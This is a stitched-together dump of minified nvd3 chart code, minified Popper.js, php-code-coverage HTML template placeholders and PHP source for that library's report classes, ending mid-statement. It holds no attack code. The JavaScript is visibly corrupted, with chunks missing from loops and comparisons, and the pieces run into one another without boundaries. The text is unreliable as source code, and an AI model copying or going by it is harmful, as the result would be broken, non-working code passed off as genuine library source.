a=z.selectAll(".nv-hoverValue").data(i),b=a.enter().append("g").attr("class","nv-hoverValue").style("stroke-opacity",0).style("fill-opacity",0);a.exit().transition().duration(250).style("stroke-opacity",0).style("fill-opacity",0).remove(),a.attr("transform",function(a){return"translate("+c(e.x()(p[a],a))+",0)"}).transition().duration(250).style("stroke-opacity",1).style("fill-opacity",1),i.length&&(b.append("line").attr("x1",0).attr("y1",-f.top).attr("x2",0).attr("y2",u),b.append("text").attr("class","nv-xValue").attr("x",-6).attr("y",-f.top).attr("text-anchor","end").attr("dy",".9em"),z.select(".nv-hoverValue .nv-xValue").text(k(e.x()(p[i[0]],i[0]))),b.append("text").attr("class","nv-yValue").attr("x",6).attr("y",-f.top).attr("text-anchor","start").attr("dy",".9em"),z.select(".nv-hoverValue .nv-yValue").text(l(e.y()(p[i[0]],i[0]))))}}function r(){function a(a,b){for(var c=Math.abs(e.x()(a[0],0)-b),d=0,f=0;fc;++c){for(b=0,d=0;bb;b++)a[b][c][1]/=d;else for(b=0;e>b;b++)a[b][c][1]=0}for(c=0;f>c;++c)g[c]=0;return g}}),u.renderEnd("stackedArea immediate"),b}var c,d,e={top:0,right:0,bottom:0,left:0},f=960,g=500,h=a.utils.defaultColor(),i=Math.floor(1e5*Math.random()),j=null,k=function(a){return a.x},l=function(a){return a.y},m="stack",n="zero",o="default",p="linear",q=!1,r=a.models.scatter(),s=250,t=d3.dispatch("areaClick","areaMouseover","areaMouseout","renderEnd","elementClick","elementMouseover","elementMouseout");r.pointSize(2.2).pointDomain([2.2,2.2]);var u=a.utils.renderWatch(t,s);return b.dispatch=t,b.scatter=r,r.dispatch.on("elementClick",function(){t.elementClick.apply(this,arguments)}),r.dispatch.on("elementMouseover",function(){t.elementMouseover.apply(this,arguments)}),r.dispatch.on("elementMouseout",function(){t.elementMouseout.apply(this,arguments)}),b.interpolate=function(a){return arguments.length?(p=a,b):p},b.duration=function(a){return arguments.length?(s=a,u.reset(s),r.duration(s),b):s},b.dispatch=t,b.scatter=r,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return f},set:function(a){f=a}},height:{get:function(){return g},set:function(a){g=a}},clipEdge:{get:function(){return q},set:function(a){q=a}},offset:{get:function(){return n},set:function(a){n=a}},order:{get:function(){return o},set:function(a){o=a}},interpolate:{get:function(){return p},set:function(a){p=a}},x:{get:function(){return k},set:function(a){k=d3.functor(a)}},y:{get:function(){return l},set:function(a){l=d3.functor(a)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}},color:{get:function(){return h},set:function(b){h=a.utils.getColor(b)}},style:{get:function(){return m},set:function(a){switch(m=a){case"stack":b.offset("zero"),b.order("default");break;case"stream":b.offset("wiggle"),b.order("inside-out");break;case"stream-center":b.offset("silhouette"),b.order("inside-out");break;case"expand":b.offset("expand"),b.order("default");break;case"stack_percent":b.offset(b.d3_stackedOffset_stackPercent),b.order("default")}}},duration:{get:function(){return s},set:function(a){s=a,u.reset(s),r.duration(s)}}}),a.utils.inheritOptions(b,r),a.utils.initOptions(b),b},a.models.stackedAreaChart=function(){"use strict";function b(k){return F.reset(),F.models(e),r&&F.models(f),s&&F.models(g),k.each(function(k){var x=d3.select(this),F=this;a.utils.initSVG(x);var K=a.utils.availableWidth(m,x,l),L=a.utils.availableHeight(n,x,l);if(b.update=function(){x.transition().duration(C).call(b)},b.container=this,v.setter(I(k),b.update).getter(H(k)).update(),v.disabled=k.map(function(a){return!!a.disabled}),!w){var M;w={};for(M in v)w[M]=v[M]instanceof Array?v[M].slice(0):v[M]}if(!(k&&k.length&&k.filter(function(a){return a.values.length}).length))return a.utils.noData(b,x),b;x.selectAll(".nv-noData").remove(),c=e.xScale(),d=e.yScale();var N=x.selectAll("g.nv-wrap.nv-stackedAreaChart").data([k]),O=N.enter().append("g").attr("class","nvd3 nv-wrap nv-stackedAreaChart").append("g"),P=N.select("g");if(O.append("rect").style("opacity",0),O.append("g").attr("class","nv-x nv-axis"),O.append("g").attr("class","nv-y nv-axis"),O.append("g").attr("class","nv-stackedWrap"),O.append("g").attr("class","nv-legendWrap"),O.append("g").attr("class","nv-controlsWrap"),O.append("g").attr("class","nv-interactive"),P.select("rect").attr("width",K).attr("height",L),q){var Q=p?K-z:K;h.width(Q),P.select(".nv-legendWrap").datum(k).call(h),l.top!=h.height()&&(l.top=h.height(),L=a.utils.availableHeight(n,x,l)),P.select(".nv-legendWrap").attr("transform","translate("+(K-Q)+","+-l.top+")")}if(p){var R=[{key:B.stacked||"Stacked",metaKey:"Stacked",disabled:"stack"!=e.style(),style:"stack"},{key:B.stream||"Stream",metaKey:"Stream",disabled:"stream"!=e.style(),style:"stream"},{key:B.expanded||"Expanded",metaKey:"Expanded",disabled:"expand"!=e.style(),style:"expand"},{key:B.stack_percent||"Stack %",metaKey:"Stack_Percent",disabled:"stack_percent"!=e.style(),style:"stack_percent"}];z=A.length/3*260,R=R.filter(function(a){return-1!==A.indexOf(a.metaKey)}),i.width(z).color(["#444","#444","#444"]),P.select(".nv-controlsWrap").datum(R).call(i),l.top!=Math.max(i.height(),h.height())&&(l.top=Math.max(i.height(),h.height()),L=a.utils.availableHeight(n,x,l)),P.select(".nv-controlsWrap").attr("transform","translate(0,"+-l.top+")")}N.attr("transform","translate("+l.left+","+l.top+")"),t&&P.select(".nv-y.nv-axis").attr("transform","translate("+K+",0)"),u&&(j.width(K).height(L).margin({left:l.left,top:l.top}).svgContainer(x).xScale(c),N.select(".nv-interactive").call(j)),e.width(K).height(L);var S=P.select(".nv-stackedWrap").datum(k);if(S.transition().call(e),r&&(f.scale(c)._ticks(a.utils.calcTicksX(K/100,k)).tickSize(-L,0),P.select(".nv-x.nv-axis").attr("transform","translate(0,"+L+")"),P.select(".nv-x.nv-axis").transition().duration(0).call(f)),s){var T;if(T="wiggle"===e.offset()?0:a.utils.calcTicksY(L/36,k),g.scale(d)._ticks(T).tickSize(-K,0),"expand"===e.style()||"stack_percent"===e.style()){var U=g.tickFormat();D&&U===J||(D=U),g.tickFormat(J)}else D&&(g.tickFormat(D),D=null);P.select(".nv-y.nv-axis").transition().duration(0).call(g)}e.dispatch.on("areaClick.toggle",function(a){k.forEach(1===k.filter(function(a){return!a.disabled}).length?function(a){a.disabled=!1}:function(b,c){b.disabled=c!=a.seriesIndex}),v.disabled=k.map(function(a){return!!a.disabled}),y.stateChange(v),b.update()}),h.dispatch.on("stateChange",function(a){for(var c in a)v[c]=a[c];y.stateChange(v),b.update()}),i.dispatch.on("legendClick",function(a){a.disabled&&(R=R.map(function(a){return a.disabled=!0,a}),a.disabled=!1,e.style(a.style),v.style=e.style(),y.stateChange(v),b.update())}),j.dispatch.on("elementMousemove",function(c){e.clearHighlights();var d,g,h,i=[];if(k.filter(function(a,b){return a.seriesIndex=b,!a.disabled}).forEach(function(f,j){g=a.interactiveBisect(f.values,c.pointXValue,b.x());var k=f.values[g],l=b.y()(k,g);if(null!=l&&e.highlightPoint(j,g,!0),"undefined"!=typeof k){"undefined"==typeof d&&(d=k),"undefined"==typeof h&&(h=b.xScale()(b.x()(k,g)));var m="expand"==e.style()?k.display.y:b.y()(k,g);i.push({key:f.key,value:m,color:o(f,f.seriesIndex),stackedValue:k.display})}}),i.reverse(),i.length>2){var m=b.yScale().invert(c.mouseY),n=null;i.forEach(function(a,b){m=Math.abs(m);var c=Math.abs(a.stackedValue.y0),d=Math.abs(a.stackedValue.y);return m>=c&&d+c>=m?void(n=b):void 0}),null!=n&&(i[n].highlight=!0)}var p=f.tickFormat()(b.x()(d,g)),q=j.tooltip.valueFormatter();"expand"===e.style()||"stack_percent"===e.style()?(E||(E=q),q=d3.format(".1%")):E&&(q=E,E=null),j.tooltip.position({left:h+l.left,top:c.mouseY+l.top}).chartContainer(F.parentNode).valueFormatter(q).data({value:p,series:i})(),j.renderGuideLine(h)}),j.dispatch.on("elementMouseout",function(){e.clearHighlights()}),y.on("changeState",function(a){"undefined"!=typeof a.disabled&&k.length===a.disabled.length&&(k.forEach(function(b,c){b.disabled=a.disabled[c]}),v.disabled=a.disabled),"undefined"!=typeof a.style&&(e.style(a.style),G=a.style),b.update()})}),F.renderEnd("stacked Area chart immediate"),b}var c,d,e=a.models.stackedArea(),f=a.models.axis(),g=a.models.axis(),h=a.models.legend(),i=a.models.legend(),j=a.interactiveGuideline(),k=a.models.tooltip(),l={top:30,right:25,bottom:50,left:60},m=null,n=null,o=a.utils.defaultColor(),p=!0,q=!0,r=!0,s=!0,t=!1,u=!1,v=a.utils.state(),w=null,x=null,y=d3.dispatch("stateChange","changeState","renderEnd"),z=250,A=["Stacked","Stream","Expanded"],B={},C=250;v.style=e.style(),f.orient("bottom").tickPadding(7),g.orient(t?"right":"left"),k.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)}),j.tooltip.headerFormatter(function(a,b){return f.tickFormat()(a,b)}).valueFormatter(function(a,b){return g.tickFormat()(a,b)});var D=null,E=null;i.updateState(!1);var F=a.utils.renderWatch(y),G=e.style(),H=function(a){return function(){return{active:a.map(function(a){return!a.disabled}),style:e.style()}}},I=function(a){return function(b){void 0!==b.style&&(G=b.style),void 0!==b.active&&a.forEach(function(a,c){a.disabled=!b.active[c]})}},J=d3.format("%");return e.dispatch.on("elementMouseover.tooltip",function(a){a.point.x=e.x()(a.point),a.point.y=e.y()(a.point),k.data(a).position(a.pos).hidden(!1)}),e.dispatch.on("elementMouseout.tooltip",function(){k.hidden(!0)}),b.dispatch=y,b.stacked=e,b.legend=h,b.controls=i,b.xAxis=f,b.yAxis=g,b.interactiveLayer=j,b.tooltip=k,b.dispatch=y,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return m},set:function(a){m=a}},height:{get:function(){return n},set:function(a){n=a}},showLegend:{get:function(){return q},set:function(a){q=a}},showXAxis:{get:function(){return r},set:function(a){r=a}},showYAxis:{get:function(){return s},set:function(a){s=a}},defaultState:{get:function(){return w},set:function(a){w=a}},noData:{get:function(){return x},set:function(a){x=a}},showControls:{get:function(){return p},set:function(a){p=a}},controlLabels:{get:function(){return B},set:function(a){B=a}},controlOptions:{get:function(){return A},set:function(a){A=a}},tooltips:{get:function(){return k.enabled()},set:function(b){a.deprecated("tooltips","use chart.tooltip.enabled() instead"),k.enabled(!!b)}},tooltipContent:{get:function(){return k.contentGenerator()},set:function(b){a.deprecated("tooltipContent","use chart.tooltip.contentGenerator() instead"),k.contentGenerator(b)}},margin:{get:function(){return l},set:function(a){l.top=void 0!==a.top?a.top:l.top,l.right=void 0!==a.right?a.right:l.right,l.bottom=void 0!==a.bottom?a.bottom:l.bottom,l.left=void 0!==a.left?a.left:l.left}},duration:{get:function(){return C},set:function(a){C=a,F.reset(C),e.duration(C),f.duration(C),g.duration(C)}},color:{get:function(){return o},set:function(b){o=a.utils.getColor(b),h.color(o),e.color(o)}},rightAlignYAxis:{get:function(){return t},set:function(a){t=a,g.orient(t?"right":"left")}},useInteractiveGuideline:{get:function(){return u},set:function(a){u=!!a,b.interactive(!a),b.useVoronoi(!a),e.scatter.interactive(!a)}}}),a.utils.inheritOptions(b,e),a.utils.initOptions(b),b},a.models.sunburst=function(){"use strict";function b(u){return t.reset(),u.each(function(b){function t(a){a.x0=a.x,a.dx0=a.dx}function u(a){var b=d3.interpolate(p.domain(),[a.x,a.x+a.dx]),c=d3.interpolate(q.domain(),[a.y,1]),d=d3.interpolate(q.range(),[a.y?20:0,y]);return function(a,e){return e?function(){return s(a)}:function(e){return p.domain(b(e)),q.domain(c(e)).range(d(e)),s(a)}}}l=d3.select(this);var v,w=a.utils.availableWidth(g,l,f),x=a.utils.availableHeight(h,l,f),y=Math.min(w,x)/2;a.utils.initSVG(l);var z=l.selectAll(".nv-wrap.nv-sunburst").data(b),A=z.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburst nv-chart-"+k),B=A.selectAll("nv-sunburst");z.attr("transform","translate("+w/2+","+x/2+")"),l.on("click",function(a,b){o.chartClick({data:a,index:b,pos:d3.event,id:k})}),q.range([0,y]),c=c||b,e=b[0],r.value(j[i]||j.count),v=B.data(r.nodes).enter().append("path").attr("d",s).style("fill",function(a){return m((a.children?a:a.parent).name)}).style("stroke","#FFF").on("click",function(a){d!==c&&c!==a&&(d=c),c=a,v.transition().duration(n).attrTween("d",u(a))}).each(t).on("dblclick",function(a){d.parent==a&&v.transition().duration(n).attrTween("d",u(e))}).each(t).on("mouseover",function(a){d3.select(this).classed("hover",!0).style("opacity",.8),o.elementMouseover({data:a,color:d3.select(this).style("fill")})}).on("mouseout",function(a){d3.select(this).classed("hover",!1).style("opacity",1),o.elementMouseout({data:a})}).on("mousemove",function(a){o.elementMousemove({data:a})})}),t.renderEnd("sunburst immediate"),b}var c,d,e,f={top:0,right:0,bottom:0,left:0},g=null,h=null,i="count",j={count:function(){return 1},size:function(a){return a.size}},k=Math.floor(1e4*Math.random()),l=null,m=a.utils.defaultColor(),n=500,o=d3.dispatch("chartClick","elementClick","elementDblClick","elementMousemove","elementMouseover","elementMouseout","renderEnd"),p=d3.scale.linear().range([0,2*Math.PI]),q=d3.scale.sqrt(),r=d3.layout.partition().sort(null).value(function(){return 1}),s=d3.svg.arc().startAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x)))}).endAngle(function(a){return Math.max(0,Math.min(2*Math.PI,p(a.x+a.dx)))}).innerRadius(function(a){return Math.max(0,q(a.y))}).outerRadius(function(a){return Math.max(0,q(a.y+a.dy))}),t=a.utils.renderWatch(o);return b.dispatch=o,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{width:{get:function(){return g},set:function(a){g=a}},height:{get:function(){return h},set:function(a){h=a}},mode:{get:function(){return i},set:function(a){i=a}},id:{get:function(){return k},set:function(a){k=a}},duration:{get:function(){return n},set:function(a){n=a}},margin:{get:function(){return f},set:function(a){f.top=void 0!=a.top?a.top:f.top,f.right=void 0!=a.right?a.right:f.right,f.bottom=void 0!=a.bottom?a.bottom:f.bottom,f.left=void 0!=a.left?a.left:f.left}},color:{get:function(){return m},set:function(b){m=a.utils.getColor(b)}}}),a.utils.initOptions(b),b},a.models.sunburstChart=function(){"use strict";function b(d){return m.reset(),m.models(c),d.each(function(d){var h=d3.select(this);a.utils.initSVG(h);var i=a.utils.availableWidth(f,h,e),j=a.utils.availableHeight(g,h,e);if(b.update=function(){0===k?h.call(b):h.transition().duration(k).call(b)},b.container=this,!d||!d.length)return a.utils.noData(b,h),b;h.selectAll(".nv-noData").remove();var l=h.selectAll("g.nv-wrap.nv-sunburstChart").data(d),m=l.enter().append("g").attr("class","nvd3 nv-wrap nv-sunburstChart").append("g"),n=l.select("g");m.append("g").attr("class","nv-sunburstWrap"),l.attr("transform","translate("+e.left+","+e.top+")"),c.width(i).height(j);var o=n.select(".nv-sunburstWrap").datum(d);d3.transition(o).call(c)}),m.renderEnd("sunburstChart immediate"),b}var c=a.models.sunburst(),d=a.models.tooltip(),e={top:30,right:20,bottom:20,left:20},f=null,g=null,h=a.utils.defaultColor(),i=(Math.round(1e5*Math.random()),null),j=null,k=250,l=d3.dispatch("tooltipShow","tooltipHide","stateChange","changeState","renderEnd"),m=a.utils.renderWatch(l);return d.headerEnabled(!1).duration(0).valueFormatter(function(a){return a}),c.dispatch.on("elementMouseover.tooltip",function(a){a.series={key:a.data.name,value:a.data.size,color:a.color},d.data(a).hidden(!1)}),c.dispatch.on("elementMouseout.tooltip",function(){d.hidden(!0)}),c.dispatch.on("elementMousemove.tooltip",function(){d.position({top:d3.event.pageY,left:d3.event.pageX})()}),b.dispatch=l,b.sunburst=c,b.tooltip=d,b.options=a.utils.optionsFunc.bind(b),b._options=Object.create({},{noData:{get:function(){return j},set:function(a){j=a}},defaultState:{get:function(){return i},set:function(a){i=a}},color:{get:function(){return h},set:function(a){h=a,c.color(h)}},duration:{get:function(){return k},set:function(a){k=a,m.reset(k),c.duration(k)}},margin:{get:function(){return e},set:function(a){e.top=void 0!==a.top?a.top:e.top,e.right=void 0!==a.right?a.right:e.right,e.bottom=void 0!==a.bottom?a.bottom:e.bottom,e.left=void 0!==a.left?a.left:e.left}}}),a.utils.inheritOptions(b,c),a.utils.initOptions(b),b},a.version="1.8.1"}();/* Copyright (C) Federico Zivolo 2020 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=e.ownerDocument.defaultView,n=o.getComputedStyle(e,null);return t?n[t]:n}function o(e){return'HTML'===e.nodeName?e:e.parentNode||e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto|scroll|overlay)/.test(r+s+p)?e:n(o(e))}function i(e){return e&&e.referenceNode?e.referenceNode:e}function r(e){return 11===e?re:10===e?pe:re||pe}function p(e){if(!e)return document.documentElement;for(var o=r(10)?document.body:null,n=e.offsetParent||null;n===o&&e.nextElementSibling;)n=(e=e.nextElementSibling).offsetParent;var i=n&&n.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TH','TD','TABLE'].indexOf(n.nodeName)&&'static'===t(n,'position')?p(n):n:e?e.ownerDocument.documentElement:document.documentElement}function s(e){var t=e.nodeName;return'BODY'!==t&&('HTML'===t||p(e.firstElementChild)===e)}function d(e){return null===e.parentNode?e:d(e.parentNode)}function a(e,t){if(!e||!e.nodeType||!t||!t.nodeType)return document.documentElement;var o=e.compareDocumentPosition(t)&Node.DOCUMENT_POSITION_FOLLOWING,n=o?e:t,i=o?t:e,r=document.createRange();r.setStart(n,0),r.setEnd(i,0);var l=r.commonAncestorContainer;if(e!==l&&t!==l||n.contains(i))return s(l)?l:p(l);var f=d(e);return f.host?a(f.host,t):a(e,d(t).host)}function l(e){var t=1=o.clientWidth&&n>=o.clientHeight}),l=0a[e]&&!t.escapeWithReference&&(n=Q(f[o],a[e]-('right'===e?f.width:f.height))),ae({},o,n)}};return l.forEach(function(e){var t=-1===['left','top'].indexOf(e)?'secondary':'primary';f=le({},f,m[t](e))}),e.offsets.popper=f,e},priority:['left','right','top','bottom'],padding:5,boundariesElement:'scrollParent'},keepTogether:{order:400,enabled:!0,fn:function(e){var t=e.offsets,o=t.popper,n=t.reference,i=e.placement.split('-')[0],r=Z,p=-1!==['top','bottom'].indexOf(i),s=p?'right':'bottom',d=p?'left':'top',a=p?'width':'height';return o[s]r(n[s])&&(e.offsets.popper[d]=r(n[s])),e}},arrow:{order:500,enabled:!0,fn:function(e,o){var n;if(!K(e.instance.modifiers,'arrow','keepTogether'))return e;var i=o.element;if('string'==typeof i){if(i=e.instance.popper.querySelector(i),!i)return e;}else if(!e.instance.popper.contains(i))return console.warn('WARNING: `arrow.element` must be child of its popper element!'),e;var r=e.placement.split('-')[0],p=e.offsets,s=p.popper,d=p.reference,a=-1!==['left','right'].indexOf(r),l=a?'height':'width',f=a?'Top':'Left',m=f.toLowerCase(),h=a?'left':'top',c=a?'bottom':'right',u=S(i)[l];d[c]-us[c]&&(e.offsets.popper[m]+=d[m]+u-s[c]),e.offsets.popper=g(e.offsets.popper);var b=d[m]+d[l]/2-u/2,w=t(e.instance.popper),y=parseFloat(w['margin'+f]),E=parseFloat(w['border'+f+'Width']),v=b-e.offsets.popper[m]-y-E;return v=ee(Q(s[l]-u,v),0),e.arrowElement=i,e.offsets.arrow=(n={},ae(n,m,$(v)),ae(n,h,''),n),e},element:'[x-arrow]'},flip:{order:600,enabled:!0,fn:function(e,t){if(W(e.instance.modifiers,'inner'))return e;if(e.flipped&&e.placement===e.originalPlacement)return e;var o=v(e.instance.popper,e.instance.reference,t.padding,t.boundariesElement,e.positionFixed),n=e.placement.split('-')[0],i=T(n),r=e.placement.split('-')[1]||'',p=[];switch(t.behavior){case ce.FLIP:p=[n,i];break;case ce.CLOCKWISE:p=G(n);break;case ce.COUNTERCLOCKWISE:p=G(n,!0);break;default:p=t.behavior;}return p.forEach(function(s,d){if(n!==s||p.length===d+1)return e;n=e.placement.split('-')[0],i=T(n);var a=e.offsets.popper,l=e.offsets.reference,f=Z,m='left'===n&&f(a.right)>f(l.left)||'right'===n&&f(a.left)f(l.top)||'bottom'===n&&f(a.top)f(o.right),g=f(a.top)f(o.bottom),b='left'===n&&h||'right'===n&&c||'top'===n&&g||'bottom'===n&&u,w=-1!==['top','bottom'].indexOf(n),y=!!t.flipVariations&&(w&&'start'===r&&h||w&&'end'===r&&c||!w&&'start'===r&&g||!w&&'end'===r&&u),E=!!t.flipVariationsByContent&&(w&&'start'===r&&c||w&&'end'===r&&h||!w&&'start'===r&&u||!w&&'end'===r&&g),v=y||E;(m||b||v)&&(e.flipped=!0,(m||b)&&(n=p[d+1]),v&&(r=z(r)),e.placement=n+(r?'-'+r:''),e.offsets.popper=le({},e.offsets.popper,C(e.instance.popper,e.offsets.reference,e.placement)),e=P(e.instance.modifiers,e,'flip'))}),e},behavior:'flip',padding:5,boundariesElement:'viewport',flipVariations:!1,flipVariationsByContent:!1},inner:{order:700,enabled:!1,fn:function(e){var t=e.placement,o=t.split('-')[0],n=e.offsets,i=n.popper,r=n.reference,p=-1!==['left','right'].indexOf(o),s=-1===['top','left'].indexOf(o);return i[p?'left':'top']=r[o]-(s?i[p?'width':'height']:0),e.placement=T(t),e.offsets.popper=g(i),e}},hide:{order:800,enabled:!0,fn:function(e){if(!K(e.instance.modifiers,'hide','preventOverflow'))return e;var t=e.offsets.reference,o=D(e.instance.modifiers,function(e){return'preventOverflow'===e.name}).boundaries;if(t.bottomo.right||t.top>o.bottom||t.rightwindow.devicePixelRatio||!fe),c='bottom'===o?'top':'bottom',g='right'===n?'left':'right',b=B('transform');if(d='bottom'==c?'HTML'===l.nodeName?-l.clientHeight+h.bottom:-f.height+h.bottom:h.top,s='right'==g?'HTML'===l.nodeName?-l.clientWidth+h.right:-f.width+h.right:h.left,a&&b)m[b]='translate3d('+s+'px, '+d+'px, 0)',m[c]=0,m[g]=0,m.willChange='transform';else{var w='bottom'==c?-1:1,y='right'==g?-1:1;m[c]=d*w,m[g]=s*y,m.willChange=c+', '+g}var E={"x-placement":e.placement};return e.attributes=le({},E,e.attributes),e.styles=le({},m,e.styles),e.arrowStyles=le({},e.offsets.arrow,e.arrowStyles),e},gpuAcceleration:!0,x:'bottom',y:'right'},applyStyle:{order:900,enabled:!0,fn:function(e){return V(e.instance.popper,e.styles),j(e.instance.popper,e.attributes),e.arrowElement&&Object.keys(e.arrowStyles).length&&V(e.arrowElement,e.arrowStyles),e},onLoad:function(e,t,o,n,i){var r=L(i,t,e,o.positionFixed),p=O(o.placement,r,t,e,o.modifiers.flip.boundariesElement,o.modifiers.flip.padding);return t.setAttribute('x-placement',p),V(t,{position:o.positionFixed?'fixed':'absolute'}),o},gpuAcceleration:void 0}}},ge}); //# sourceMappingURL=popper.min.js.map {{lineNumber}}{{lineContent}} {{lines}}
{{name}} {{lines_bar}}
{{lines_executed_percent}}
{{lines_number}}
{{methods_bar}}
{{methods_tested_percent}}
{{methods_number}}
{{crap}} {{name}} {{lines_bar}}
{{lines_executed_percent}}
{{lines_number}}
{{branches_bar}}
{{branches_executed_percent}}
{{branches_number}}
{{paths_bar}}
{{paths_executed_percent}}
{{paths_number}}
{{methods_bar}}
{{methods_tested_percent}}
{{methods_number}}
{{crap}}

Paths

Below are the source code lines that represent each code path as identified by Xdebug. Please note a path is not necessarily coterminous with a line, a line may contain multiple paths and therefore show up more than once. Please also be aware that some paths may include implicit rather than explicit branches, e.g. an if statement always has an else as part of its logical flow even if you didn't write one.

{{paths}} * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use function dirname; use function file_put_contents; use function serialize; use function str_contains; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Driver\WriteOperationFailedException; use SebastianBergmann\CodeCoverage\Util\Filesystem; final class PHP { public function process(CodeCoverage $coverage, ?string $target = null): string { $coverage->clearCache(); $buffer = " * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace SebastianBergmann\CodeCoverage\Report; use const PHP_EOL; use function array_map; use function date; use function ksort; use function max; use function sprintf; use function str_pad; use function strlen; use SebastianBergmann\CodeCoverage\CodeCoverage; use SebastianBergmann\CodeCoverage\Node\File; use SebastianBergmann\CodeCoverage\Util\Percentage; final class Text { /** * @var string */ private const COLOR_GREEN = "\x1b[30;42m"; /** * @var string */ private const COLOR_YELLOW = "\x1b[30;43m"; /** * @var string */ private const COLOR_RED = "\x1b[37;41m"; /** * @var string */ private const COLOR_HEADER = "\x1b[1;37;40m"; /** * @var string */ private const COLOR_RESET = "\x1b[0m"; private readonly Thresholds $thresholds; private readonly bool $showUncoveredFiles; private readonly bool $showOnlySummary; public function __construct(Thresholds $thresholds, bool $showUncoveredFiles = false, bool $showOnlySummary = false) { $this->thresholds = $thresholds; $this->showUncoveredFiles = $showUncoveredFiles; $this->showOnlySummary = $showOnlySummary; } public function process(CodeCoverage $coverage, bool $showColors = false): string { $hasBranchCoverage = !empty($coverage->getData(true)->functionCoverage()); $output = PHP_EOL . PHP_EOL; $report = $coverage->getReport(); $colors = [ 'header' => '', 'classes' => '', 'methods' => '', 'lines' => '', 'branches' => '', 'paths' => '', 'reset' => '', ]; if ($showColors) { $colors['classes'] = $this->coverageColor( $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits(), ); $colors['methods'] = $this->coverageColor( $report->numberOfTestedMethods(), $report->numberOfMethods(), ); $colors['lines'] = $this->coverageColor( $report->numberOfExecutedLines(), $report->numberOfExecutableLines(), ); $colors['branches'] = $this->coverageColor( $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches(), ); $colors['paths'] = $this->coverageColor( $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths(), ); $colors['reset'] = self::COLOR_RESET; $colors['header'] = self::COLOR_HEADER; } $classes = sprintf( ' Classes: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits(), )->asString(), $report->numberOfTestedClassesAndTraits(), $report->numberOfClassesAndTraits(), ); $methods = sprintf( ' Methods: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfTestedMethods(), $report->numberOfMethods(), )->asString(), $report->numberOfTestedMethods(), $report->numberOfMethods(), ); $paths = ''; $branches = ''; if ($hasBranchCoverage) { $paths = sprintf( ' Paths: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths(), )->asString(), $report->numberOfExecutedPaths(), $report->numberOfExecutablePaths(), ); $branches = sprintf( ' Branches: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches(), )->asString(), $report->numberOfExecutedBranches(), $report->numberOfExecutableBranches(), ); } $lines = sprintf( ' Lines: %6s (%d/%d)', Percentage::fromFractionAndTotal( $report->numberOfExecutedLines(), $report->numberOfExecutableLines(), )->asString(), $report->numberOfExecutedLines(), $report->numberOfExecutableLines(), ); $padding = max(array_map('strlen', [$classes, $methods, $lines])); if ($this->showOnlySummary) { $title = 'Code Coverage Report Summary:'; $padding = max($padding, strlen($title)); $output .= $this->format($colors['header'], $padding, $title); } else { $date = date(' Y-m-d H:i:s'); $title = 'Code Coverage Report:'; $output .= $this->format($colors['header'], $padding, $title); $output .= $this->format($colors['header'], $padding, $date); $output .= $this->format($colors['header'], $padding, ''); $output .= $this->format($colors['header'], $padding, ' Summary:'); } $output .= $this->format($colors['classes'], $padding, $classes); $output .= $this->format($colors['methods'], $padding, $methods); if ($hasBranchCoverage) { $output .= $this->format($colors['paths'], $padding, $paths); $output .= $this->format($colors['branches'], $padding, $branches); } $output .= $this->format($colors['lines'], $padding, $lines); if ($this->showOnlySummary) { return $output . PHP_EOL; } $classCoverage = []; foreach ($report as $item) { if (!$item instanceof File) { continue; } $classes = $item->classesAndTraits(); foreach ($classes as $className => $class) { $classExecutableLines = 0; $classExecutedLines = 0; $classExecutableBranches = 0; $classExecutedBranches = 0; $classExecutablePaths = 0; $classExecutedPaths = 0; $coveredMethods = 0; $classMethods = 0; foreach ($class['methods'] as $method) { if ($method['executableLines'] == 0) { continue; } $classMethods++; $classExecutableLines += $method['executableLines']; $classExecutedLines += $method['executedLines']; $classExecutableBranches += $method['executableBranches']; $classExecutedBranches += $method['executedBranches']; $classExecutablePaths += $method['executablePaths']; $classExecutedPaths += $method['executedPaths']; if ($method['coverage'] == 100) { $coveredMethods++; } } $classCoverage[$className] = [ 'namespace' => $class['namespace'], 'className' => $className, 'methodsCovered' => $coveredMethods, 'methodCount' => $classMethods, 'statementsCovered' => $classExecutedLines, 'statementCount' => $classExecutableLines, 'branchesCovered' => $classExecutedBranches, 'branchesCount' => $classExecutableBranches, 'pathsCovered' => $classExecutedPaths, 'pathsCount' => $classExecutablePaths, ]; } } ksort($classCoverage); $methodColor = ''; $pathsColor = ''; $branchesColor = ''; $linesColor = ''; $resetColor = ''; foreach ($classCoverage as $fullQualifiedPath => $classInfo) { if ($this->showUncoveredFiles || $classInfo['statementsCovered'] != 0) { if ($showColors) { $methodColor = $this->coverageColor($classInfo['methodsCovered'], $classInfo['methodCount']); $pathsColor = 